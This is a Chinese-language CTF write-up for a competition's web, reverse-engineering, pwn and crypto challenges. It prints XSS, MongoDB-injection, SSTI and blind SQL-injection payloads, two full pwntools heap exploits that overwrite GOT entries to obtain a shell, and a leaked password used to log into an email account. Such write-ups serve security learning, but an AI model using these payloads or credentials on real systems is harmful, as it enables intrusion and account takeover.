**Web渗透**

**Web1 Up!Up!Up!**

http://www.wooyun.org/bugs/wooyun-2010-0125982

随便上传一个jpg

burp改multipart/form-data为Multipart/form-data，后缀为Php即可

**Web 2 Can You Hit Me？**

有AngularJS,可xss

http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

有过滤，绕过一下就好

{{'a'.coonnstructor.prototype.charAt=[].join;$eonval('x=1} } };alonert(1)//');}}

**Web3 Legend？Legend！**

一个monogodb的注入

http://806bddce.seclover.com/news.php?newsid=1%27});return%20{title:tojson(db.getCollectionNames())};//

[ "news", "system.indexes", "user" ]

http://806bddce.seclover.com/news.php?newsid=1%27});return%20{title:tojson(db.user.find()[0])};//

{ "\_id" : ObjectId("56cbcf6d3a677c17278b456d"), "username" : "admin", "password" : "\*&98\*hjhjyu", "email" : "loverctf@126.com" }

用这个密码登录126邮箱，邮件里有flag

**web4 Flag-Man**

发现是flask的，觉得有注入

name改为{{1+1}}一试果然有

随便试试，用户名改为{{app.flagman}}

直接出结果

**web5 AFSRC-Market**

添加购物车那有二次注入

测试(1),和(0)在lastcost显示不一样，结果为0才会显示，所以盲注一个

import urllib2

import re

sql="( (ord(substr((select flag from flag),1,1))-84) )"

opener = urllib2.build\_opener()

opener.addheaders.append(('Cookie', 'PHPSESSID=dk0e6v69b5fditumtfl5iq4bo3'))

f = opener.open("http://edb24e7c.seclover.com/add\_cart.php?id=0x"+sql.encode('hex'))

print f.read()

f = opener.open("http://edb24e7c.seclover.com/userinfo.php")

result=(f.read())

mode = re.compile(r'<p>The Last cost: \w+</p>')

result=mode.findall(result)

result=result.\_\_len\_\_()==1

print result

得到http://edb24e7c.seclover.com/2112jb1njIUIJ\_\_tr\_R/tips.txt

提示要addmoney，token可以计算，盐不知道，发现不刷新验证码不变，

那懒得做了也困了，放脚本直接爆，主办方肯定没那么好心，猜就是5位第一位是8，若干小时候爆出

salt是8b76d

**二进制逆向**

**RE1**

只需要在native函数最后函数比较的地方下个断点就可以看到flag了。

**漏洞分析**

**pwn1**

程序使用自己实现的内存管理系统，在sort的时候更新number的函数中存在off-by-one漏洞，可以改写后面一块内存的第一个DWORD。

通过构造，使得update number修改后一块数组结构的size大小为0x40000003，然后reload后一块的数组，这时(size+1)\*4发生上溢结果是16所以分配时不会出现错误，但size为0x40000003使得可以update之后的任意内存，通过update number改写内存管理的元数据，让第一个8字节块空闲且指向strcmp\_got - 8，接着执行sort分配1个元素就能够取得strcmp\_got - 8的位置，随后利用off-by-one leak strcmp的地址并改写为system，退出到主菜单输入/bin/sh即可拿到shell。

exploit:

#!/usr/bin/env python

# coding: utf-8

from pwn import \*

def add\_sort(number, sort=False, overflow=None):

p.recvuntil('\_CMD\_$')

p.sendline('sort')

p.sendline(str(number))

for i in range(number):

p.sendline(str(number\*10))

if sort:

p.sendline('3')

if overflow:

p.sendline('2')

p.sendline(str(number))

p.sendline(str(overflow))

p.sendline('7')

strcmp\_got = 0x804d03c

puts\_got = 0x804d030

libc\_strcmp = 0x77c30

libc\_system = 0x3bc90

ssoffset = libc\_system - libc\_strcmp

chunk8 = 0x805e088

array16 = 0x804e044

offset = (chunk8 - array16) / 4 + 2

p = remote('pwn.lab.seclover.com', 11111)

add\_sort(1)

add\_sort(5)

add\_sort(7, True)

add\_sort(5, False, 0x40000003)

# change chunk to strcmp\_got

p.recvuntil('\_CMD\_$')

p.sendline('reload')

p.sendline('0')

p.sendline('2')

p.sendline(str(offset))

p.sendline(str(strcmp\_got - 8))

p.sendline('7')

p.recvuntil('\_CMD\_$')

p.sendline('sort')

p.sendline('1')

p.sendline('10')

p.sendline('1')

p.sendline('1')

p.recvuntil('result: ')

strcmp = int(p.recvuntil('\n', drop=True))

system = strcmp + ssoffset

print '[+] strcmp @ %#x' % (strcmp & 0xffffffff)

print '[+] system @ %#x' % (system & 0xffffffff)

p.sendline('2')

p.sendline('1')

p.sendline(str(system))

p.sendline('3')

p.sendline('7')

p.recvuntil('\_CMD\_$')

p.sendline('/bin/sh')

p.interactive()

**pwn2**

仍然是off-by-one的漏洞，但是此次数组的第1个元素保存 size ^ canary 的值以检测溢出，canary在程序开始时随机生成。

由于不能直接溢出数组的第0个size元素，只能溢出history结构的第一个指针，再通过history命令能够进行任意内存的leak。首先leak出canary、堆地址、\_IO\_getc的地址，接着事先分配一个array，在其中放置\_IO\_getc的地址和system的地址，然后在数组中伪造一个fake array，其size为0x40000002，第1个元素为0x40000002 ^ canary，再溢出后面一个history结构的指针指向这个fake array，执行reload命令即可得到与pwn1一样的效果，接着修改元数据指向strtol\_got - 12，由于\_IO\_getc的got在strtol\_got的上一个如果破坏程序就无法读入，所以选择reload事先布置好的array，借用memcpy将\_IO\_getc的地址和system的地址写入，使得strtol的got被改写为system而\_IO\_getc保持不变，接着直接输入/bin/sh即可得到shell

exp:

#!/usr/bin/env python

# coding: utf-8

from pwn import \*

strtol\_got = 0x804c01c

getc\_got = 0x804c018

canary\_addr = 0x804c04c

magic\_size = 0x40000002

# remote

libc\_getc = 0x642c0

libc\_system = 0x3bc90

soffset = libc\_system - libc\_getc

target1 = 0x8489118

target2 = 0x84890e8

vul\_array = 0x84790b0 + 8

offset1 = (target1 - vul\_array) / 4

offset2 = (target2 - vul\_array) / 4

#p = process('./pwn2')

p = remote('pwn.lab.seclover.com', 22222)

p.recvuntil('\_CMD\_$')

p.sendline('sort')

p.sendline('2')

p.send('10\n10\n')

p.sendline('3')

p.recvuntil('is: ')

p.sendline('1')

p.sendline('2')

# leak heap address

p.recvuntil('result: ')

array1\_addr = int(p.recvuntil('\n', drop=True)) & 0xffffffff

fake\_array\_addr = array1\_addr + 16 + 8 + 24 + 24 + 24 + 8

copy\_array\_addr = fake\_array\_addr + 16

print '[+] first array @ %#x' % array1\_addr

print '[+] fake array will @ %#x' % fake\_array\_addr

# overwrite to get canary

p.sendline('2')

p.sendline('2')

p.sendline(str(canary\_addr))

p.sendline('7')

# get canary

p.recvuntil('\_CMD\_$')

p.sendline('history')

p.recvuntil('Len = ')

canary = int(p.recvuntil(',', drop=True)) & 0xffffffff

print '[+] canary = %#x' % canary

# leak getc got

p.recvuntil('\_CMD\_$')

p.sendline('sort')

p.sendline('2')

p.send('10\n10\n')

p.sendline('3')

p.sendline('is: ')

p.sendline('2')

p.sendline('2')

p.sendline(str(getc\_got))

p.sendline('7')

p.recvuntil('\_CMD\_$')

p.sendline('history')

p.recvuntil('ID = 1, Len = ')

getc = int(p.recvuntil(',', drop=True))

system = getc + soffset

print '[+] \_IO\_getc @ %#x' % (getc & 0xffffffff)

print '[+] system @ %#x' % (system & 0xffffffff)

# prepare for reload

p.recvuntil('\_CMD\_$')

p.sendline('sort')

p.sendline('2')

p.sendline('20\n20\n')

p.sendline('3')

p.sendline('2')

p.sendline('0')

p.sendline(str(getc))

p.sendline('2')

p.sendline('1')

p.sendline(str(system))

p.sendline('7')

# repeat the process to ensure the history

p.recvuntil('\_CMD\_$')

p.sendline('sort')

p.sendline('2')

p.sendline('20\n20\n')

p.sendline('3')

p.sendline('2')

p.sendline('0')

p.sendline(str(getc))

p.sendline('2')

p.sendline('1')

p.sendline(str(system))

p.sendline('7')

p.recvuntil('\_CMD\_$')

p.sendline('sort')

p.sendline('2')

p.send('20\n20\n')

p.sendline('3')

p.sendline('2')

p.sendline('0')

p.sendline(str(magic\_size))

p.sendline('2')

p.sendline('1')

p.sendline(str(magic\_size ^ canary))

p.sendline('2')

p.sendline('2')

p.sendline(str(fake\_array\_addr))

p.sendline('7')

# reload #1

p.recvuntil('\_CMD\_$')

p.sendline('reload')

p.sendline('1')

p.sendline('2')

p.sendline(str(offset1 + 1))

p.sendline('0')

p.sendline('2')

p.sendline(str(offset1 + 2))

p.sendline(str(strtol\_got - 12))

p.sendline('2')

p.sendline(str(offset2 + 2))

p.sendline(str(copy\_array\_addr))

p.sendline('7')

# reload #2 overwrite strtol got

p.recvuntil('\_CMD\_$')

p.sendline('reload')

p.sendline('2')

p.sendline('/bin/sh')

p.interactive()

**密码学**

**HEHEDA**

因为key只影响当前位，所以可以逐个暴力，先暴出key，但最后一位不太确定。，再会对最后一位暴一遍，应该有好几种可能，逐个试一遍，同样的方法，再暴出flag，即可得。

**Hungry Game**

一个用websocket和canvas做的游戏。看game.js源码，可以看到游戏分为几层。funpos数组定义了不同层时候按空格执行的内容。

直接劫持流量替换掉game.js

第一层：

直接进入第二层

第二层：

修改fakedoor为nextdoor进入下一层。

第三层：

需要砍树修改onwood函数，反复多次发送数据砍树到9999，开门进入下一层

第四层：

和第三层类似

第五册：

需要打boss，修改attack时发送的数据，坐标改为boss所在位置而不是自己所在位置。攻击15次得到flag

**Speed Data**

简直脑洞，发现好多20 09 像8bit，0101的感觉，提出来一看就是

import re

str = 'xxxxxxxxxxxxxxxxxxxxx'

mode = re.compile(r'[092]{16}')

result=mode.findall(str)

a=""

for element in result:

if (element!='0000000000000000'):

element=element.replace("20", "0");

element=element.replace("09", "1");

element=chr(int(element,2))

a+=element

print a